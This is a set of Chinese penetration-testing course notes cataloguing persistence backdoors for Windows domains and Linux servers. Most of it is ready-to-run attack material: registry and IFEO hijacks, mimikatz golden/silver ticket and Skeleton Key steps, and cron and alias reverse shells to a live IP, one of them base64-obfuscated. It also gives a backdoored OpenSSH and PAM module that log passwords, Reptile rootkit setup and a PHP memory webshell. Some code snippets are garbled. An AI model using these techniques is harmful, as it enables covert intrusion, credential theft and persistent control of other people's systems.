windows
1.自启动
1、自启动路径加载
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
2、自启动服务加载 (服务重启system权限)
sc create ServiceTest binPath= C:\xd.exe start= auto
sc delete ServiceTest
3、自启动注册表加载
-当前用户键值
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run 
-服务器键值
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run 
-添加启动项
REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "backdoor" /t REG_SZ /F /D "C:\xd.exe"
4、计划计时任务 at&schtasks 2.粘滞键
系统自带的辅助功能进行替换执行,放大镜,旁白,屏幕键盘等均可。
 粘滞键位置:
 c:\windows\system32\sethc.exe
 move sethc.exe sethc1.exe
 copy cmd.exe sethc.exe
3.映像劫持
notepad.exe calc.exe explorer.exe
执行 notepad 时运行 cmd,运行一次记事本就运行一次程序
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v debugger /t REG_SZ /d "C:\Windows\System32\cmd.exe /c calc"
配合 GlobalFlag 隐藏:执行正常关闭后触发
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\xd.exe"4.屏保&登录
 1、屏幕保护生效后执行后门
reg add "HKEY CURRENT USER\Control Panel\Desktop" /V SCRNSAVE.EXE /t REG_SZ /d "C:\xd.exe" /f2、winLogon,用户登录时触发
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /V "Userinit" /t REG_SZ /F /D "C:\xd.exe"5.隐藏用户
https://github.com/wgpsec/CreateHiddenAccount
 CreateHiddenAccount -u xiaodi -p Xiaodi!@#45
 控制面板能查看到,命令查看看不到,单机版无法删除,域环境可以删除
 CreateHiddenAccount -c #查看隐藏账户
6.黄金白银票据
黄金票据⽣成攻击,是⽣成有效的 TGT Kerberos 票据,并且不受 TGT⽣命周期的影响
 ,这⾥可以为任意用户生成黄金票据,然后为域管理员生成 TGT,这样普通⽤户就可以变成域管理员。
 白银票据是利用域的服务账户进行伪造的 ST,在 Kerberos 认证的第三步,Client 带着 ST 和 Authenticator3 向 Server 上的某个服务进行请求,Server 接收到 Client 的请求之后,通过自己的 Master Key 解密 ST,从而获得Session Key。所以只需要知道 Server 用户的 Hash 就可以伪造出一个 ST,且不会经过 KDC,但是伪造的门票只对部分服务起作用(不需要交互 KDC,需要知道Server 的NTLM Hash)。
 黄金方法:
 1、已经拿下域管理员,获取到 krbtgt hash;
 2、利用 krbtgt 的 hash 制作黄金票据工具,进行攻击。
 流程:
 1、域名:god.org
 2、域的 SID 值:S-1-5-21-1218902331-2157346161-1782232778
 whoami /user
 whoami /all
 wmic useraccount get name,sid
 3、域的 KRBTGT 账户 NTLM-HASH:b097d7ed97495408e1537f706c357fc5
 mimikatz privilege::debug
 mimikatz lsadump::lsa /patch
 4、伪造用户名:webadmin(任意用户名)
 生成票据:
 mimikatz kerberos::golden /user:webadmin /domain:god.org /sid:S-1-5-21-1218902331-2157346161-1782232778 /krbtgt:b097d7ed97495408e1537f706c357fc5 /ticket:xiaodi
 导入内存:
 mimikatz kerberos::ptt xiaodi
 访问测试:
 dir \owa2010cn-god\c$
 后期渗透:结合前面的课程
 net use \owa2010cn-god
 黄金票据总结:
 该攻击方式其实是一种后门的形式,属于第二次进行攻击的方法。第一次拿到域管权限之后,需要将krbtgt NTLM hash进行保存,当第二次再来进行域渗透攻击时,我们就可使用krbtgt的NTLM hash制作黄金票据,从而再次获得域管权限。
白银方法:
 1、已经拿下域管理员,获取到DC hash;
 2、利用DC的hash制作白银票据工具,进行攻击。
 流程:
 1、域名:god.org
 2、域的SID值:S-1-5-21-1218902331-2157346161-1782232778
 whoami /user
 whoami /all
 wmic useraccount get name,sid
 3、域DC账户NTLM-HASH:82779569ef27d72b88b6c93dd8b37299
 mimikatz privilege::debug
 mimikatz sekurlsa::logonpasswords
 4、伪造用户名:webadmin(任意用户名)
 导入票据:(CIFS文件共享服务)
 domain:域名
 sid:域环境下的SID,除去最后-的部分剩下的内容
 target:要访问的服务器,写FQDN
 rc4:写的是目标主机的NTLM(主机名$对应NTLM)
 service:要访问的资源类型
 user:伪造的用户
 cifs:共享文件
 mimikatz kerberos::golden /user:webadmin /domain:god.org /sid:S-1-5-1-1218902331-2157346161-1782232778 /target:owa2010cngod /service:cifs /rc4:82779569ef27d72b88b6c93dd8b37299 /ptt
 白银票据总结:
 1、伪造的ST,只能访问指定的服务,如CIFS;
 2、不与KDC交互,直接访问Server;
 3、ST由服务账号 NTLM Hash 加密
7.软件-GotoHTTP&RustDesk
连上去狠狠关闭杀软😋
 C2 GotoHTTP
 https://gotohttp.com/goto/download.12x
 利用场景:有网络下,需要绕过杀毒等网络防护B2C模式,
 无需安装控制端软件,有浏览器就可以远控。
 流量走https协议,只要目标放行443端口出口就可以实现内网穿透。
 在低带宽也可以使用,运行占用内存极低,控制时占用CPU仅为0%-3%。
 被控端在类Linux系统上支持图形界面(GUI)和字符界面(CLI)网络唤醒远程主机需加载驱动,导致运行时安全卫士会拦截这行为,其他杀软不会拦截。
C2 RustDesk
 https://github.com/rustdesk/rustdesk
 利用场景:无需网络,需要绕过杀毒等网络防护
 有图形化就看密码是什么,没有就读config文件
 1、有网连接:
 C:\Users\用户名\AppData\Roaming\RustDesk\config其中ID和密码在RustDesk.toml文件里
 2、无网内网连接:
 在用户文件下的RustDesk配置文件RustDesk2.toml中添加两行
direct-server ='Y'
 direct-access-po
rt=8443
8.基于验证 DLL 加载-SSP
简单的理解为 SSP 就是一个 DLL,用来实现身份认证,并且维持系统权限
 方法一:但如果域控制器重启,被注入内存的伪造的 SSP 将会丢失。
privilege::debug
 misc::memssp C:\Windows\System32\mimilsa.log  #要记录账号密码的文件
方法二:使用此方法即使系统重启,也不会影响到持久化的效果。
 1、mimilib.dll 传到目标域控的 c:\windows\system32\目录下
 2、修改注册表,重启之后生效
reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"
 reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ c:\windows\system32\kiwissp.log   #要记录账号密码的文件
 技术总结:
 攻防实战中,靶机很难会重启,攻击者重启的话风险过大,
 因此可以在靶机上把两个方法相互结合起来使用效果比较好,
 尝试利用把生成的日志密码文件发送到内网被控机器或者临时邮箱。
9.基于验证 DLL 加载-HOOK
修改密码时获取密码
 https://github.com/wh0Nsq/HookPasswordChange
 https://github.com/clymb3r/Misc-Windows-Hacking
powershell
 Import-Module .\Invoke-ReflectivePEInjection.ps1
 Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass
 报错解决:
 powershell
 Set-ExecutionPolicyunrestricted
10.基于机制账号启用-DSRM
DSRM是windows域环境中域控制器的安全模式启动选项。域控制器的本地管理员账户也就是DSRM账户,DSRM密码是在DC创建时设置的,一般很少更改。
 DSRM的用途是:允许管理员在域环境出现故障时还原、修复、重建活动目录数据库。通过在DC上运行ntdsutil 工具可以修改DSRM密码。
 1.获取dsrm及krbtgt的NTLM hash
 privilege::debug
 lsadump::lsa /patch /name:krbtqt
 token::elevate
 lsadump::sam
 2.dsrm&krbtgt&NTLM hash同步
 NTDSUTIL:打开ntdsutil
 set DSRM password:修改DSRM的密码
 sync from domain account 域用户名字:使DSRM的密码和指定域用户的密码同步
 q(第1次):退出DSRM密码设置模式
 q(第2次):退出ntdsutil
 3.修改dsrm登录方式
 New-ItemProperty “hklm:\system\currentcontrolset\control\lsa” -name “dsrmadminlogonbehavior”-value 2-propertyType DWORD
 4.利用PTH传递攻击
 privilege::debug
 sekurlsa::pth /domain:owa2010cn-god /user:administrator /ntlm:b097d7ed97495408e1537f706c357fc5
 dir \owa2010cn-god\c$
 技术总结:
 利用系统自带机制模式DSRM,修改DSRM默认登录方式和属性,通过其同步krgtgt进行PTH攻击,实现持续化控制,但适用于系统>=windowsserver2008。每个域控制器都有本地管理员账号和密码(与域管理员账号和密码不同)。DSRM账号可以作为一个域控制器的本地管理员用户,通过网络连接域控制器,进而控制域控制器。
11.基于用户属性修改-SID history
1、获取某用户SID属性:
 Import-Module ActiveDirectory
 Get-ADUser webadmin -Properties sidhistory
 2、给予某用户administrator属性:
 privilege::debug
 sid::patch
 sid::add /sam:webadmin /new:administrator
 3、测评给与前后的DC访问权限:
 dir\192.168.3.21\c$
 技术总结:
 把域控管理员的SID加入到 其他某个恶意的域账户的SID History中,然后,这个恶意的(我们自己创建的)域账户就可以域管理员权限访问域控了,不修改域账户一直存在。
12.基于登录进程劫持-Skeleton Key
1、测试域内某个用户与DC通讯
 dir \owa2010cn-god\c$
 2、连接DC后,DC注入lsass进程
 net use \\192.168.3.21\ipc$  "Admin12345" /user:god\administrator
 mimikatz
 privilege::debug
 misc::skeleton
 3、重新测试域内某个用户与DC通讯
 net use \owa2010cn-god\ipc$ "mimikatz" /user:god\administrator
 dir \owa2010cn-god\c$
 技术总结:
 注入万能密码,因为Skeleton Key技术是被注入到lsass.exe进程的,所以它只存在内存中,如域控重启,万能密码将失效。
linux
1.定时任务
利用系统的定时任务功能进行反弹 Shell
1、编辑后门反弹
 vim /etc/.xiaodi.sh
 #!/bin/bash
 bash -i >& /dev/tcp/47.94.236.117/3333 0>&1
 chmod +x /etc/.xiaodi.sh
 2、添加定时任务
 echo "*/1 * * * * root /etc/.xiaodi.sh" >> /etc/crontab
2.ssh软链接&公私钥&新帐号
1、SSH软链接
 在sshd服务配置启用PAM认证的前提下,PAM配置文件中控制标志为sufficient时,只要pam_rootok模块检测uid为0(root)即可成功认证登录
查看是否使用PAM进行身份验证:
 cat /etc/ssh/sshd_config | grep UsePAM
 ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=8888
 ssh root@xx.xx.xx.xx -p8888  任意密码登录即可
2、公私钥
 https://www.bilibili.com/read/cv17721345/
 开启:vim /etc/ssh/sshd_config
 RSAAuthentication yes
 PubkeyAuthentication yes
 AuthorizedKeysFile .ssh/authorized
生成公私钥
 keysssh-keygen -t rsa#三次回车
 cat /root/.ssh/id_rsa.pub > /root/.ssh/authorized_keys
 chmod 600 /root/.ssh/authorized_keys
3、后门帐号
 添加root用户:
 添加账号test1,设置uid为0,密码为123456
 useradd -p `openssl passwd -1 -salt 'salt' 123456` test1 -o -u 0 -g root -G root -s /bin/bash -d /home/test1 
增加超级用户账号
 echo "xiaodi:x:0:0::/:/bin/sh">>/etc/passwd
 passwd xiaodi #修改密码为xiaodi123
3.OpenSSH 后门
原理:替换本身操作系统的 openssh,重新安装自定义的 openssh,达到记录帐号密码,也可以采用万能密码连接的功能!
 文章中有处理配置文件和安装日志的方法
 https://www.cnblogs.com/csnd/p/11807653.html
 https://mp.weixin.qq.com/s/BNrJHUs9qxEVHNSFEghaRw
 1、环境准备:
 yum -y install openssl openssl-devel pam-devel zlib zlib-devel
 yum -y install gcc gcc-c++ make
 wget http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz
 wget https://mirror.aarnet.edu.au/pub/OpenBSD/OpenSSH/portable/openssh-5.9p1.tar.gz
 tar -xzvf openssh-5.9p1.tar.gz
 tar -xzvf 0x06-openssh-5.9p1.patch.tar.gz
 cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1
 cd openssh-5.9p1 && patch < sshbd5.9p1.diff
 2、编辑密码:
 vim version.h #把版本修改为原来版本
 vim includes.h
 177 #define ILOG “/tmp/ilog” #ILOG 是别人用 ssh 登录该主机记录的日志目录
 178 #define OLOG “/tmp/olog” #OLOG 是该主机用 ssh 登录其他主机记录的日志目录
 179 #define SECRETPW “xiaodi” #万能密码
 180 #endif /* INCLUDES_H */
 3、安装编译:
 ./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam –
 with-kerberos5 && make && make install
 service sshd restart #重启 sshd 服务
 systemctl status sshd.service #查看 ssh 启动状态
 拓展玩法:
 1、可以采用万能密码登录
 2、实现监控服务器登录登出的账号密码(发到外网)
4.ssh-PAM 后门
参考:https://xz.aliyun.com/t/7902
 PAM 是一种认证模块,PAM 可以作为 Linux 登录验证和各类基础服务的认证,简单来说就是一种用于 Linux 系统上的用户身份验证的机制。进行认证时首先确定是什么服务然后加载相应的 PAM 的配置文件(位于/etc/pam.d),最后调用认证文件(于/lib/security)进行安全认证.简易利用的 PAM 后门也是通过修改 PAM 源码中认证的逻辑来达到权限维持
 1、获取目标系统所使用的PAM版本,下载对应版本的pam版本
 2、1解压缩,修改pam unix auth.c文件,添加万能密码
 3、编译安装PAM
 编译完后的文件在:modules/pam_unix/.libs/pam_unix.so,复制到/lib64/security中进行替换,即 使用万能密码登陆,将用户名密码记录到文件中。
 -配置环境
 关闭selinux setenforce 0
 查询版本rpm -qa | grep pam
 wget http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz
 tar -zxvf Linux-PAM-1.1.8
 yum install gcc flexflex-devel -y
 -修改配置:
 留PAM后门和保存SSH登录的账号密码
 修改 linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c
/*verify the password of this user */
retval=_unix_verify_password(pamh,name,p,ctrl);
if(strcmp("hackers",p)==0){return PAM SUCCESS;} //后门密码if(retval==PAM_SUCCESS)FILE * fp;fp = fopen("/tmp/.sshlog","a");//SSH登录用户密码保存位置fprintf(fp,"%s :%s\n",name,p);fclose(fp);}
name =p=NULL;AUTH RETURN;-编译安装:
 ./configure && make
 -备份复制:
 备份厡有pam_unix.so,防止出现错误登录不上
 复制新PAM模块到/lib64/security/目录下
 cp /usr/lib64/security/pam_unix.so /tmp/pam_unix.so.bakcp
 cd Linux-PAM-1.1.8/modules/pam_unix/.libs
 cp pam_unix.so /usr/lib64/security/pam_unix.so
5.Strace 后门
strace 是一个动态跟踪工具,它可以跟踪系统调用的执行。
 我们可以把他当成一个键盘记录的后门,来扩大我们的信息收集范围
 获取账号密码,权限维持
1、记录 sshd 明文
(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/.sshd.log &)
grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log2、记录 sshd 私钥
(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 4096 2> /tmp/.sshd.log &)
grep 'PRIVATE KEY' /tmp/.sshd.log6.Alias 后门
alias 命令的功能:为命令设置别名
 定义:alias ls = 'ls -al'
 删除:unalias ls
 1、简单:
 alias ls='alerts(){ ls $* --color=auto;bash -i >& /dev/tcp/47.94.236.117/3333 0>&1; };alerts'
 2、升级:
 alias ls='alerts(){ ls $*--color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambdab:bytes(b,"\''UTF-8'\'')}[sys.version_info[0]]('\''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNz0wpyZXQgPSBvcy5mb3JrKCkKaWYgCmVOID4gMDOKICAgIGV4aXQOKQpIbHN1OgOgICAgdHJ5OgOgICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2t1dC5BR19JTKVULCBzb2NrZXQuU09DS19TVFJFQUOpCiAgICAgICAgCy5jb25uZWN0KCGiNDCUOTQMjM2LjExNyISIDY2NjYpKQOgICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSWgMCKKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCKSIDEpCiAgICAgICAgb3MuZHVwMihzLZpbGVubygpLCAyKQOgICAgICAgIHAgPSEzdwJwcm9j2XNzLmNhbGwoWyIvYmluL3NoIiwgIi1pI10pCiAgICBleGNlcHQgRXhj2XB0aW9uIGFzIGU6CiAgICAgICAgZXhpdCgp'\'')))'';};alerts'
7.内核加载LKM-Rootkit后门
现在常用的inux维持权限的方法大多用crontab和开机自启动,同时使用的大多是msf或者其它的tcp连接来反弹shell,这种做法比较容易被管理员发现。所以我们想有一个非tcp连接、流量不容易被怀疑的后门,并且在大量的shell的场景下,可以管shell,Reptile刚好是种LKM rootkit,因此具有很好的隐藏性和强大的功能。
 https://github.com/f0rbldd3n/Reptile/releases
 自动化脚本搭建
Centos,Ubuntu
$kernel=`uname`
#Centos
yum -y install perl vim gcc make g++ unzip
#由于Cenots内核管理不便,所以使用下载对应版本的kernel-devel到本地
yum -y localinstall kernel-devel-"$kernal".rpm
cd Reptile-2.0/ && chmod +x./setup.sh
./setup.sh install<<EOF
reptile
hax0r
s3cr3t
reptile
666
47.94.236.117
4444
1
EOF#ubuntu
apt-get install vim gcc make g++ unzip -y
apt-get -y install linux-headers-$(uname -r)
cd Reptile-2.0/&& chmod +x./setup.sh
./setup.sh install <<EOFreptile
hax0r
s3cr3t
reptile
666
y
47.94.236.117
4444
1
EOF隐藏进程:/reptile/reptile_cmd hide xx
 显示进程:/reptile/reptile_cmd show xx
 ps -ef | grep 2792
 /reptile/reptile cmd hide 2792
隐藏连接:/reptile/reptile_cmd udp xx xx hide
 显示连接:/reptile/reptile_cmd tcp xx xx show
 netstat -anpt
 /reptile/reptile_cmd tcp 100.100.45.106 443 hide
隐藏文件:
 文件名中带reptile的都会被隐藏
 mkdir reptile_xiaodi
 mkdir reptile_file
2、高级玩法
 隐藏上线
 客户端安装
 ./setup.sh client
 设置连接配置
 help
 show #查看配置
 set LHOST 47.94.236.117
 set LPORT 4444
 set SRCHOST 47.94.236.117
 set SRCPORT 666 #安装时填好的两个端口
 set RHOST 121.43.154.113
 set RPORT 22 #netstat -anpt找一个开放的端口
 set PROT tcp
 set PASS s3cr3t
 set TOKEN hax0r
rookit检测项目
 rookit魔改避免检测项目
webshell内存马
Webshell 内存马,是在内存中写入恶意后门和木马并执行,达到远程控制 Web 服务器
 的一类木马,其利用中间件的进程执行某些恶意代码,不会有文件落地,给检测带来巨大难
 度。
#PHP 内存马:
 ignore_user_abort()函数:函数设置与客户机断开是否会终止脚本的执行(如果设置为 True,则忽略与用户的断开)
 set_time_limit()函数:设置允许脚本运行的时间,单位为秒(如果设置该运行时间,sleep()函数在执行程序时的持续时间将会被忽略掉)
 unlink(FILE)函数:删除文件(防止文件落地被检测工具查杀)
 file_put_contents 函数:将一个字符串写入该文件中
 usleep 函数:延迟执行当前脚本数微秒,即条件竞争
<?php
ignore_user_abort(true);
set_time_limit(0);
@unlink(__FILE__);
$file = '.HH.php';
$code = '<?php @eval($_POST[\'c\']); ?>';
while (1){file_put_contents($file,$code);usleep(5000);
}
?>#Java内存马:
 -Java Instrumentation类(Agept型)
 -Servlet-api类(Servlet型、Filter型、Listener型)
 -Spring类(Controller型、Interceptor型)
 演示:
 1、Servlet-api类(Servlet型、Filter型、Listener型)
 2、哥斯拉,冰蝎内存马功能使用